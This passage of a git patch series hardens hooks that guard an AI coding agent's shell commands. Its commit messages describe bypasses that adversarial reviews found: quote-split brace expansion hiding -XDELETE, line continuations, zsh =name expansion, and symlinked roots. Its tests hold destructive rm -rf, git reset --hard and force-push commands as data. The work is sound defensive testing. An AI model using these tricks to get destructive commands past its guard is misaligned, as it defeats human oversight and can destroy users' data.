["allowed", "forbidden"]) -@pytest.mark.parametrize("command", ["bash < None: verdict = guard.decide(kind, {"tool_input": {"command": command}}) assert verdict.decision == "ask" @@ -151,9 +160,6 @@ def test_uninspectable_commands_are_left_to_the_user(kind: str, command: str) -> "bash <<'EOF'\nrm -rf build\nEOF", "if true; then git add -A; fi", 'echo "${TARGET:-$(rm -rf build)}"', - "f(){ git add -A; }", - "f() { git commit --no-verify -m x; }; f", - "function f { bash -c 'echo hi'; }", ], ) def test_denials_apply_to_commands_inside_substitutions_clauses_and_shell_heredocs(command: str) -> None: diff --git a/tests/agents/hooks/test_guard_git.py b/tests/agents/hooks/test_guard_git.py index 7f00016..8ba1cc0 100644 --- a/tests/agents/hooks/test_guard_git.py +++ b/tests/agents/hooks/test_guard_git.py @@ -224,6 +224,7 @@ def test_dangerous_git_contract( "$GIT push --force origin main", "d=$TMPDIR/x; $d/tool --version", "f(){ git reset $MODE HEAD~1; }; f", + "f(){ git reset --hard; }", ], ) def test_run_time_words_that_can_change_the_verdict_are_left_to_the_user(command: str) -> None: @@ -258,7 +259,6 @@ def test_run_time_words_that_cannot_change_the_verdict_pass(command: str) -> Non 'echo "$(git reset --hard)"', "for b in a; do git push --force origin topic; done", "if x; then git clean -fd; fi", - "f(){ git reset --hard; }", ], ) def test_destructive_git_inside_substitutions_and_clauses_is_denied(command: str) -> None: diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 0f14aa1..64e2fa5 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -50,6 +50,7 @@ def decide(kind: str, command: str, cwd: Path | None = None) -> str: pytest.param("rm -fR {tmp}/a/../b", id="a normalized path that stays inside"), pytest.param("ls {tmp} && rm -f {tmp}/a.txt; echo done", id="beside commands that only read"), pytest.param("command rm {tmp}/a.txt", id="behind a wrapper"), + pytest.param("rm '{tmp}/{{a,b}}' \"{tmp}/[c]\" {tmp}/\\*", id="quoted or escaped special characters"), ], ) @pytest.mark.parametrize("kind", ["allowed", "forbidden"]) @@ -97,6 +98,9 @@ def test_removals_inside_a_temporary_root_pass(project: Path, kind: str, command pytest.param("rg --pre ./mk x {tmp}; rm {tmp}/a.txt", id="a search that runs a preprocessor"), pytest.param("/usr/bin/time -o {tmp}/a.txt ls; rm {tmp}/a.txt", id="a wrapper that writes a file"), pytest.param("rm ~/a.txt $HOME/b.txt", id="home directory paths"), + pytest.param("rm -f {tmp}/{{a,../../../x}}", id="brace expansion that leaves the temporary directory"), + pytest.param("rm {tmp}/a{{1..3}}.txt", id="a brace sequence"), + pytest.param("rm {tmp}/{{a}}.txt", id="unquoted braces"), ], ) def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, command: str) -> None: @@ -116,8 +120,8 @@ def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, pytest.param("rm -rf {tmp}/../..", id="a path that climbs out"), pytest.param("rm build -rf", id="options after the operands"), pytest.param("rm --recursive build", id="the long option"), + pytest.param("rm -rf {tmp}/{{a,../../../x}}", id="a tree named through brace expansion"), pytest.param("echo {tmp}/a | xargs rm -rf {tmp}/b", id="trees read from input"), - pytest.param("f(){{ rm -rf build; }}", id="inside a function body"), ], ) def test_recursive_removals_outside_the_temporary_roots_stay_denied(project: Path, command: str) -> None: From 7d63c1eb28db0a1d017f8aee1034aeaed958b821 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 16:40:07 +0900 Subject: [PATCH 12/25] fix(agents): ask for line continuations and any unquoted brace A ninth adversarial review of #242 found two places where the hook's decoder and the shell disagree: a backslash-newline inside an rm path, which the shell removes, can build a .. the hook did not see, and brace expansion can pair braces across quoted parts, as in {repos/o/r/issues/comments/123,-"X"DELETE}, which hides -XDELETE. - a word holding a line continuation counts as unknown for rm and as splitting for gh, curl, wget, and herdr - any unquoted brace in a word counts as splitting, even with quoted parts between the braces Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/lib/removal_policy.py | 8 ++++++- agents/hooks/lib/shell_syntax.py | 27 +++++++++++++--------- tests/agents/hooks/test_allowed_command.py | 8 +++++++ tests/agents/hooks/test_removal_command.py | 3 +++ 4 files changed, 34 insertions(+), 12 deletions(-) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 50a989a..0ac5fcd 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -70,7 +70,13 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No hidden = command.appends_input options_ended = False for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): - if dynamic or source.startswith("~") or "$" in source or expands(source): + if ( + dynamic + or source.startswith("~") + or "$" in source + or shell_syntax.LINE_CONTINUATION in source + or expands(source) + ): hidden = True elif options_ended or word == "-" or not word.startswith("-"): operands.append(word) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index e74aa07..d8ed108 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -45,7 +45,9 @@ SPLIT_PARTS = frozenset({"ParamExp", "CmdSubst", "ProcSubst", "ArithmExp"}) # A bracket opens a glob only when a closing bracket follows, so the test command `[` stays literal. GLOB = re.compile(r"(? Command: words=tuple(source_text(word, data) for word in node["Args"]), trailer=" ".join(source_text(redirect, data) for redirect in redirects), dynamic=tuple(flag for _, flag in decoded), - spreading=tuple(spreads(word) for word in node["Args"]), + spreading=tuple(spreads(word, data) for word in node["Args"]), writes=statement_writes(owner, data), ) @@ -332,15 +334,18 @@ def literal_word(word: dict, source: bytes) -> tuple[str, bool]: return "".join(literal_part(index, part, source) for index, part in enumerate(parts)), False -def spreads(word: dict) -> bool: - """Whether a word may become several words: an unquoted expansion, substitution, glob, or brace - expansion, or a positional parameter or array expansion even in quotes.""" - for part in word.get("Parts", []): - if part.get("Type") in SPLIT_PARTS: - return True - value = part.get("Value", "") if part.get("Type") == "Lit" else "" - if GLOB.search(value) or BRACE_EXPANSION.search(value): - return True +def spreads(word: dict, source: bytes) -> bool: + """Whether a word may become several words, or other words than the decoder sees. + + That is an unquoted expansion, substitution, glob, or brace, a line continuation, which the + shell removes, or a positional parameter or array expansion even in quotes. + """ + parts = word.get("Parts", []) + unquoted = "".join(part.get("Value", "") for part in parts if part.get("Type") == "Lit") + if any(part.get("Type") in SPLIT_PARTS for part in parts) or GLOB.search(unquoted) or BRACES & set(unquoted): + return True + if LINE_CONTINUATION in source_text(word, source): + return True for part in word_nodes(word): if part.get("Type") != "ParamExp": continue diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index eef54a3..7eac123 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -165,6 +165,14 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("gh api repos/furedea/$r/alerts", [], id="unquoted expansions inside an endpoint"), pytest.param("gh pr view $(cat number.txt)", [], id="unquoted command substitutions"), pytest.param("gh api repos/o/r/contents/*", [], id="unquoted globs"), + pytest.param( + "gh api -H 'Accept: x' {repos/o/r/issues/comments/123,-\"X\"DELETE}", + [], + id="brace expansion split by quotes", + ), + pytest.param("gh api repos/o/r/issues/comments/{1}", [], id="any unquoted brace"), + pytest.param("gh api repos/o/r/issues/1 -\\\nXDELETE", [], id="a line continuation inside an option"), + pytest.param("herdr worktree open --cwd /r --trust\\\n-repository", [], id="a line continuation in Herdr"), pytest.param("herdr worktree open --cwd $W", [], id="unquoted words in Herdr options"), pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), pytest.param( diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 64e2fa5..7ddd351 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -101,6 +101,8 @@ def test_removals_inside_a_temporary_root_pass(project: Path, kind: str, command pytest.param("rm -f {tmp}/{{a,../../../x}}", id="brace expansion that leaves the temporary directory"), pytest.param("rm {tmp}/a{{1..3}}.txt", id="a brace sequence"), pytest.param("rm {tmp}/{{a}}.txt", id="unquoted braces"), + pytest.param("rm -f {tmp}/a/.\\\n./../../outside.txt", id="a line continuation that builds a parent step"), + pytest.param("rm -f {tmp}/{{a,'b'}}", id="braces around a quoted part"), ], ) def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, command: str) -> None: @@ -121,6 +123,7 @@ def test_removals_outside_a_temporary_root_ask(project: Path, git_project: Path, pytest.param("rm build -rf", id="options after the operands"), pytest.param("rm --recursive build", id="the long option"), pytest.param("rm -rf {tmp}/{{a,../../../x}}", id="a tree named through brace expansion"), + pytest.param("rm -rf {tmp}/a/.\\\n./../..", id="a tree named across a line continuation"), pytest.param("echo {tmp}/a | xargs rm -rf {tmp}/b", id="trees read from input"), ], ) From 3e4520347cf1686ae367544776a209943b7f6705 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 16:56:10 +0900 Subject: [PATCH 13/25] fix(agents): allow rm only for absolute temporary paths A tenth adversarial review of #242 found that zsh expands an unquoted =name to a command's path, so with a temporary working directory PATH=/repo/bin:$PATH; rm -rf =tool passed while removing /repo/bin/tool. Close the class rather than the form: - rm passes only when every target is an absolute literal path inside a temporary root; a relative target, or one starting with =, ~, or any other expansion, asks even in a temporary working directory - the working-directory resolution that only relative targets needed is gone, including the Codex adapter's workdir handoff Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 8 +-- agents/hooks/lib/provider_adapter.py | 5 +- agents/hooks/lib/removal_policy.py | 63 ++++++---------------- tests/agents/hooks/test_removal_command.py | 52 ++++++++++++------ tests/agents/test_provider_adapters.py | 14 ----- 5 files changed, 56 insertions(+), 86 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 7ec8502..feb6868 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -138,9 +138,9 @@ def settings_objection(command: str, commands: tuple[shell_syntax.Command, ...]) return hook_decision.ask(f"{REMOTE_REASON}\n\nCommand: {shell_syntax.command_preview(command)}", "settings") -def removal_objection(kind: str, item: shell_syntax.Command, workspace: removal_policy.Workspace) -> Verdict: +def removal_objection(kind: str, item: shell_syntax.Command, settled: bool) -> Verdict: """Pass rm where a temporary directory or Git accounts for its targets; else deny a tree and ask for files.""" - removal = removal_policy.removal(command_policy.canonical(item), workspace) + removal = removal_policy.removal(command_policy.canonical(item), settled) if removal is None or removal.is_accounted_for: return hook_decision.ALLOW preview = shell_syntax.command_preview(item.raw) @@ -177,11 +177,11 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: except shell_syntax.UnsupportedSyntax as error: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - workspace = removal_policy.workspace(payload, commands) + settled = removal_policy.is_settled(commands) verdicts = ( verdict for item in commands - for verdict in (objection(kind, item, policy), removal_objection(kind, item, workspace)) + for verdict in (objection(kind, item, policy), removal_objection(kind, item, settled)) ) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) if kind == "allowed" and verdict.decision == "allow": diff --git a/agents/hooks/lib/provider_adapter.py b/agents/hooks/lib/provider_adapter.py index 6afd162..a10ab7e 100644 --- a/agents/hooks/lib/provider_adapter.py +++ b/agents/hooks/lib/provider_adapter.py @@ -158,10 +158,7 @@ def fan_out(self, event: str, payload: dict) -> int: return hook_dispatch.run(self._manifest(), event, payload) def shell(self, mode: str, payload: dict) -> int: - tool_input = self.normalized(payload)["tool_input"] - values = {"command": command_text(tool_input)} - if isinstance(workdir := tool_input.get("workdir"), str) and workdir: - values["workdir"] = workdir + values = {"command": command_text(self.normalized(payload)["tool_input"])} command = self.translated(payload, "Bash", values) if mode == "commit": return guard_file.check("commit", command, shared_directory()) diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index 0ac5fcd..fcc7044 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -1,4 +1,8 @@ -"""Judge rm by whether every target is a literal path inside a temporary directory; git rm covers tracked files.""" +"""Judge rm by whether every target is an absolute literal path inside a temporary directory. + +A relative path depends on a working directory the command may change, and a word that the shell +expands, such as zsh's =name, names a path the hook cannot see; git rm covers tracked files. +""" from dataclasses import dataclass import os @@ -19,7 +23,6 @@ LONG_FLAGS = frozenset( {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) -DIRECTORY_CHANGES = frozenset({"cd", "pushd", "popd"}) # Characters that glob or brace expansion reads when unquoted, so the shell may choose another path. EXPANDING_CHARACTERS = frozenset("{}*?[]") QUOTED_TEXT = re.compile(r"'[^']*'|\"(?:[^\"\\]|\\.)*\"|\\.") @@ -30,20 +33,12 @@ @dataclass(frozen=True, slots=True) -class Workspace: - """What the rest of one command leaves fixed: the working directory, if known, and the file system. +class Removal: + """One rm invocation; `targets` is None unless every target is an absolute literal path. - `settled` is False when another command could write, move, or relink an rm target first. + `settled` is False when another command could write, move, or relink a target first. """ - directory: Path | None - settled: bool - - -@dataclass(frozen=True, slots=True) -class Removal: - """One rm invocation; `targets` is None unless every target is a literal path the hook can resolve.""" - recursive: bool targets: tuple[Path, ...] | None settled: bool = True @@ -62,8 +57,8 @@ def removes_unaccounted_tree(self) -> bool: return self.recursive and not self.is_temporary -def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | None: - """Read a canonical rm command, resolving relative targets against the known working directory.""" +def removal(command: shell_syntax.Command, settled: bool) -> Removal | None: + """Read a canonical rm command whose targets count only as absolute literal paths.""" if command.arguments[0] != "rm": return None recursive, operands = False, [] @@ -86,38 +81,14 @@ def removal(command: shell_syntax.Command, workspace: Workspace) -> Removal | No recursive |= word == "--recursive" or (not word.startswith("--") and bool(set(word) & {"r", "R"})) else: hidden = True - directory = workspace.directory - if hidden or not operands or (directory is None and not all(Path(word).is_absolute() for word in operands)): - return Removal(recursive, None, workspace.settled) - targets = tuple(Path(os.path.join(directory or "/", word)) for word in operands) - return Removal(recursive, targets, workspace.settled) - - -def workspace(payload: dict, commands: tuple[shell_syntax.Command, ...]) -> Workspace: - """Judge the whole command once: whether the working directory and the file system stay put.""" - known = not any(changes_directory(command) for command in commands) - return Workspace(starting_directory(payload) if known else None, all(is_inert(command) for command in commands)) - - -def starting_directory(payload: dict) -> Path: - """Where the command starts: the tool's own workdir, if it names one, resolved against the session cwd.""" - cwd = payload.get("cwd") - session = Path(cwd) if isinstance(cwd, str) and cwd else Path.cwd() - values = payload.get("tool_input") - workdir = values.get("workdir") if isinstance(values, dict) else None - return session / workdir if isinstance(workdir, str) and workdir else session + if hidden or not operands or not all(Path(word).is_absolute() for word in operands): + return Removal(recursive, None, settled) + return Removal(recursive, tuple(Path(word) for word in operands), settled) -def changes_directory(command: shell_syntax.Command) -> bool: - """Whether a segment may run rm, or anything after it, from another directory.""" - if command.program_is_dynamic: - return True - name, rest = Path(command.arguments[0]).name, command.arguments[1:] - if name == "builtin": - return bool(rest) and rest[0] in DIRECTORY_CHANGES - if name == "env": - return any(word.startswith(("-C", "--chdir")) for word in rest) - return name in DIRECTORY_CHANGES or name in {"source", "."} +def is_settled(commands: tuple[shell_syntax.Command, ...]) -> bool: + """Whether every segment of the command leaves rm targets as the hook sees them.""" + return all(is_inert(command) for command in commands) def is_inert(command: shell_syntax.Command) -> bool: @@ -126,8 +97,6 @@ def is_inert(command: shell_syntax.Command) -> bool: if command.program_is_dynamic or command.writes: return False name = Path(command.arguments[0]).name - if name == "env": - return not changes_directory(command) return name == "rm" or name in INERT_WRAPPERS or name in READERS diff --git a/tests/agents/hooks/test_removal_command.py b/tests/agents/hooks/test_removal_command.py index 7ddd351..50457a0 100644 --- a/tests/agents/hooks/test_removal_command.py +++ b/tests/agents/hooks/test_removal_command.py @@ -1,6 +1,5 @@ """rm passes only where every target is a literal path inside a temporary directory.""" -import os from pathlib import Path import subprocess @@ -134,9 +133,41 @@ def test_recursive_removals_outside_the_temporary_roots_stay_denied(project: Pat assert "directory trees" in verdict.reason -def test_relative_targets_resolve_against_the_session_directory(project: Path, git_project: Path) -> None: - assert decide("allowed", "rm nested.txt", cwd=project / "tmp/sub") == "allow" - assert decide("allowed", "rm nested.txt", cwd=git_project / "sub") == "ask" +@pytest.mark.parametrize( + "command", + [ + pytest.param("rm =tool", id="a zsh command-path expansion"), + pytest.param("PATH=/repo/bin:$PATH; rm =tool", id="a zsh command-path expansion after PATH changes"), + pytest.param("rm ~/x", id="a home directory path"), + pytest.param("rm a.txt", id="a relative path"), + pytest.param("rm ./sub/a.txt", id="a dot-relative path"), + ], +) +def test_targets_that_are_not_absolute_literal_paths_ask_even_in_a_temporary_directory( + project: Path, command: str +) -> None: + temporary = project / "tmp" + assert decide("allowed", command, cwd=temporary) == "ask" + workdir = {"tool_input": {"command": command, "workdir": str(temporary)}, "cwd": str(temporary)} + assert guard.decide("allowed", workdir).decision == "ask" + + +def test_a_recursive_zsh_command_path_expansion_stays_denied(project: Path) -> None: + command = "PATH=/repo/bin:$PATH; rm -rf =tool" + assert decide("forbidden", command, cwd=project / "tmp") == "deny" + + +@pytest.mark.parametrize( + "command", + [ + pytest.param("rm {tmp}/tool", id="the same file as an absolute temporary path"), + pytest.param("rm {tmp}/'=tool'", id="a quoted equals sign inside an absolute temporary path"), + pytest.param("rm {tmp}/=tool", id="an equals sign that does not start the word"), + ], +) +def test_absolute_temporary_paths_pass_from_any_directory(project: Path, git_project: Path, command: str) -> None: + command = command.format(tmp=project / "tmp") + assert decide("allowed", command, cwd=git_project) == "allow" def test_a_reassigned_home_cannot_vouch_for_a_target( @@ -177,16 +208,3 @@ def test_a_clean_filter_cannot_hide_uncommitted_content(project: Path, git_proje (git_project / ".git/info/attributes").write_text("tracked.txt filter=keep-head\n") (git_project / "tracked.txt").write_text("before and uncommitted notes") assert decide("allowed", "rm tracked.txt") == "ask" - - -@pytest.mark.parametrize("relative", [False, True], ids=["absolute workdir", "relative workdir"]) -def test_relative_targets_resolve_against_the_tool_workdir(project: Path, git_project: Path, relative: bool) -> None: - temporary = project / "tmp" - for directory in (temporary, git_project): - (directory / "same.txt").write_text("same name") - workdir = os.path.relpath(git_project, temporary) if relative else str(git_project) - payload = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(temporary)} - assert guard.decide("allowed", payload).decision == "ask" - workdir = os.path.relpath(temporary, git_project) if relative else str(temporary) - swapped = {"tool_input": {"command": "rm same.txt", "workdir": workdir}, "cwd": str(git_project)} - assert guard.decide("allowed", swapped).decision == "allow" diff --git a/tests/agents/test_provider_adapters.py b/tests/agents/test_provider_adapters.py index 03dc465..2ab2c02 100644 --- a/tests/agents/test_provider_adapters.py +++ b/tests/agents/test_provider_adapters.py @@ -3,10 +3,8 @@ import json from pathlib import Path import shutil -import sys import pytest -from pytest_mock import MockerFixture from tests.runtime import CliRunner, REPO_ROOT, load_script_module @@ -122,18 +120,6 @@ def test_normalization_leaves_the_provider_payload_untouched(provider: str) -> N assert payload == original -@pytest.mark.parametrize("mode", ["allowed", "forbidden"]) -def test_codex_shell_workdir_reaches_the_command_guard(mocker: MockerFixture, mode: str) -> None: - adapter = load_script_module(script("codex"), "codex_hook_adapter_workdir").ADAPTER - lib = sys.modules["provider_adapter"] - decide = mocker.patch.object(lib.guard_command, "decide", return_value=lib.hook_decision.ALLOW) - payload = {"cwd": "/session", "tool_input": {"cmd": "rm same.txt", "workdir": "/elsewhere"}} - assert adapter.shell(mode, payload) == 0 - forwarded = decide.call_args.args[1] - assert forwarded["tool_input"] == {"command": "rm same.txt", "workdir": "/elsewhere"} - assert forwarded["cwd"] == "/session" - - @pytest.mark.parametrize("provider", PROVIDERS) @pytest.mark.parametrize("mode", ["allowed", "forbidden", "git"]) def test_escalations_are_denied_for_providers_whose_hooks_cannot_ask( From 785b4505e98e49ef4a7fdf897df0b5e5a0b7b48c Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:58:22 +0900 Subject: [PATCH 14/25] fix(agents): trust only plain rm paths, real temp roots, and main's gh api rules An eleventh adversarial review of #242 found three more gaps: - a backslash inside a quoted rm path, which bash or zsh may drop while the hook kept it, let a link redirect the removal: an rm target now passes only when it consists of plain characters (letters, digits, and . _ - / @ + , : %) and its source holds no backslash - a temporary root that is itself a symlink made its destination an allowed root: a root now counts only when its real path lies in a system temporary area, and a target must lie inside a trusted root both as written and once resolved - rewriting the gh api rules for decoded arguments loosened more than the two headers, so gh api ... replies -f body=hello passed: main's gh api patterns are restored, judged on the source text as on main, with one pattern added for Accept and X-GitHub-Api-Version headers Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 2 +- agents/hooks/lib/command_policy.py | 7 ---- agents/hooks/lib/removal_policy.py | 48 +++++++++++----------- agents/hooks/lib/shell_syntax.py | 8 ---- agents/hooks/rules/allowed_commands.json | 7 ++-- tests/agents/hooks/test_allowed_command.py | 17 +++++--- tests/agents/hooks/test_removal_command.py | 42 +++++++++++++++++-- 7 files changed, 81 insertions(+), 50 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index feb6868..06749ab 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -118,7 +118,7 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: if governed is None or ( not candidate.appends_input and not candidate.hides_options - and command_policy.regex_reason(command_policy.judged_text(candidate), rules) + and command_policy.regex_reason(candidate.static_words_text, rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) diff --git a/agents/hooks/lib/command_policy.py b/agents/hooks/lib/command_policy.py index d4356f6..2b2756d 100644 --- a/agents/hooks/lib/command_policy.py +++ b/agents/hooks/lib/command_policy.py @@ -101,13 +101,6 @@ def canonical(command: shell_syntax.Command) -> shell_syntax.Command: return command.rebased(1 + len(globals_), ("git",)) -def judged_text(command: shell_syntax.Command) -> str: - """The text the precise rules read: gh api is judged on its decoded options, others on their source.""" - if command.arguments[:2] == ("gh", "api"): - return command.decoded_words_text - return command.static_words_text - - def prefix_rule(arguments: tuple[str, ...], rules: list[dict], decision: str) -> dict | None: """Match complete parsed arguments rather than flattening away token boundaries.""" return next( diff --git a/agents/hooks/lib/removal_policy.py b/agents/hooks/lib/removal_policy.py index fcc7044..5b397dd 100644 --- a/agents/hooks/lib/removal_policy.py +++ b/agents/hooks/lib/removal_policy.py @@ -23,9 +23,10 @@ LONG_FLAGS = frozenset( {"--dir", "--force", "--interactive", "--one-file-system", "--preserve-root", "--recursive", "--verbose"} ) -# Characters that glob or brace expansion reads when unquoted, so the shell may choose another path. -EXPANDING_CHARACTERS = frozenset("{}*?[]") -QUOTED_TEXT = re.compile(r"'[^']*'|\"(?:[^\"\\]|\\.)*\"|\\.") +# A target passes only in characters every shell reads alike, so the hook and the shell see one path. +PLAIN_PATH = re.compile(r"[A-Za-z0-9._/@+,:%-]+") +# A root counts only when it really lies in a system temporary area, not when it links elsewhere. +SYSTEM_TEMPORARY_AREAS = (Path("/private/tmp"), Path("/private/var/folders"), Path("/tmp")) # Commands that only read, so beside them an rm target stays as the hook sees it. rg is absent since # its --pre runs a program, and time since its -o writes a file. READERS = frozenset({"[", "cat", "echo", "false", "grep", "head", "ls", "printf", "pwd", "tail", "test", "true", "wc"}) @@ -65,16 +66,11 @@ def removal(command: shell_syntax.Command, settled: bool) -> Removal | None: hidden = command.appends_input options_ended = False for word, source, dynamic in zip(command.arguments[1:], command.words[1:], command.dynamic[1:], strict=True): - if ( - dynamic - or source.startswith("~") - or "$" in source - or shell_syntax.LINE_CONTINUATION in source - or expands(source) - ): + if dynamic or source.startswith("~") or "$" in source or "\\" in source: hidden = True elif options_ended or word == "-" or not word.startswith("-"): operands.append(word) + hidden |= not PLAIN_PATH.fullmatch(word) elif word == "--": options_ended = True elif is_option(word): @@ -100,11 +96,6 @@ def is_inert(command: shell_syntax.Command) -> bool: return name == "rm" or name in INERT_WRAPPERS or name in READERS -def expands(source: str) -> bool: - """Whether a word's unquoted text holds a glob or brace character.""" - return bool(EXPANDING_CHARACTERS & set(QUOTED_TEXT.sub("", source))) - - def is_option(word: str) -> bool: if word.startswith("--"): return word in LONG_FLAGS or word.startswith("--interactive=") @@ -112,14 +103,25 @@ def is_option(word: str) -> bool: def is_temporary(target: Path) -> bool: - """Whether the resolved target lies strictly inside a temporary root, so symlinks cannot lead out.""" + """Whether the target lies strictly inside a trusted root, both as written and once symlinks resolve.""" + written = Path(os.path.normpath(target)) resolved = Path(os.path.realpath(target)) - return any(resolved != root and resolved.is_relative_to(root) for root in temporary_roots()) + roots = trusted_roots() + return any(is_inside(written, root) for pair in roots for root in pair) and any( + is_inside(resolved, resolved_root) for _, resolved_root in roots + ) + + +def trusted_roots() -> tuple[tuple[Path, Path], ...]: + """The scratchpad root and TMPDIR, as written and resolved, when they resolve into a system temporary area.""" + candidates = (SCRATCH_ROOT, Path(os.environ.get("TMPDIR", ""))) + pairs = ((Path(os.path.normpath(root)), Path(os.path.realpath(root))) for root in candidates if root.is_absolute()) + return tuple( + (written, resolved) + for written, resolved in pairs + if any(is_inside(resolved, area) for area in SYSTEM_TEMPORARY_AREAS) + ) -def temporary_roots() -> tuple[Path, ...]: - """The scratchpad root and TMPDIR, ignoring a TMPDIR that contains the home directory.""" - candidates = [SCRATCH_ROOT, Path(os.environ.get("TMPDIR", ""))] - roots = (Path(os.path.realpath(candidate)) for candidate in candidates if candidate.is_absolute()) - home = Path(os.path.realpath(Path.home())) - return tuple(root for root in roots if not home.is_relative_to(root)) +def is_inside(path: Path, root: Path) -> bool: + return path != root and path.is_relative_to(root) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index d8ed108..7d920a2 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -129,14 +129,6 @@ def static_words_text(self) -> str: RUN_TIME_PLACEHOLDER if dynamic else word for word, dynamic in zip(self.words, self.dynamic, strict=True) ) - @property - def decoded_words_text(self) -> str: - """The arguments as the program receives them, requoted, with each run-time word as a placeholder.""" - return " ".join( - RUN_TIME_PLACEHOLDER if dynamic else shlex.quote(argument) - for argument, dynamic in zip(self.arguments, self.dynamic, strict=True) - ) - @property def hides_options(self) -> bool: """Whether an option can reach the program unseen: quoted or escaped, or inside a spreading expansion.""" diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 5b2c62b..864c76e 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -10,14 +10,15 @@ "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/issues/[0-9]+/comments( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/issues/[0-9]+/comments( --paginate)? --jq '[^']*'$", - "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments/[0-9]+/replies -f (body=[^ '\"]+|'body=[^']*('\"'\"'[^']*)*')$", + "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/comments/[0-9]+/replies -f body='[^']*('\\\\''[^']*)*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews/[0-9]+/comments( --paginate)?$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+/pulls/[0-9]+/reviews/[0-9]+/comments( --paginate)? --jq '[^']*'$", "^gh api repos/[a-zA-Z0-9_.-]+/[a-zA-Z0-9_.-]+ --method POST -f parent_issue_id=[a-zA-Z0-9_=]+ /issues/[0-9]+/sub_issues$", - "^gh api graphql -f 'query=(query([[:space:]({{])|[{])[^']*('\"'\"'[^']*)*'$", - "^gh api( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])* ('[^']*'|\"[^\"]*\"|[^ '\"-][^ '\"]*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| (-H|--header) ('[Aa]ccept: [^']*'|\"[Aa]ccept: [^\"$`\\\\]*\"|'X-GitHub-Api-Version: [^']*'|\"X-GitHub-Api-Version: [^\"$`\\\\]*\")| --cache [0-9]+[smh])*$", + "^gh api graphql -f query='(query([[:space:]({{])|[{])[^']*('\\\\''[^']*)*'$", + "^gh api ('[^']*'|[^ '-][^ ']*)( --paginate| --slurp| -i| --include| --jq ('[^']*'|[^' ]+)| -q ('[^']*'|[^' ]+)| -H '[^']*'| --cache 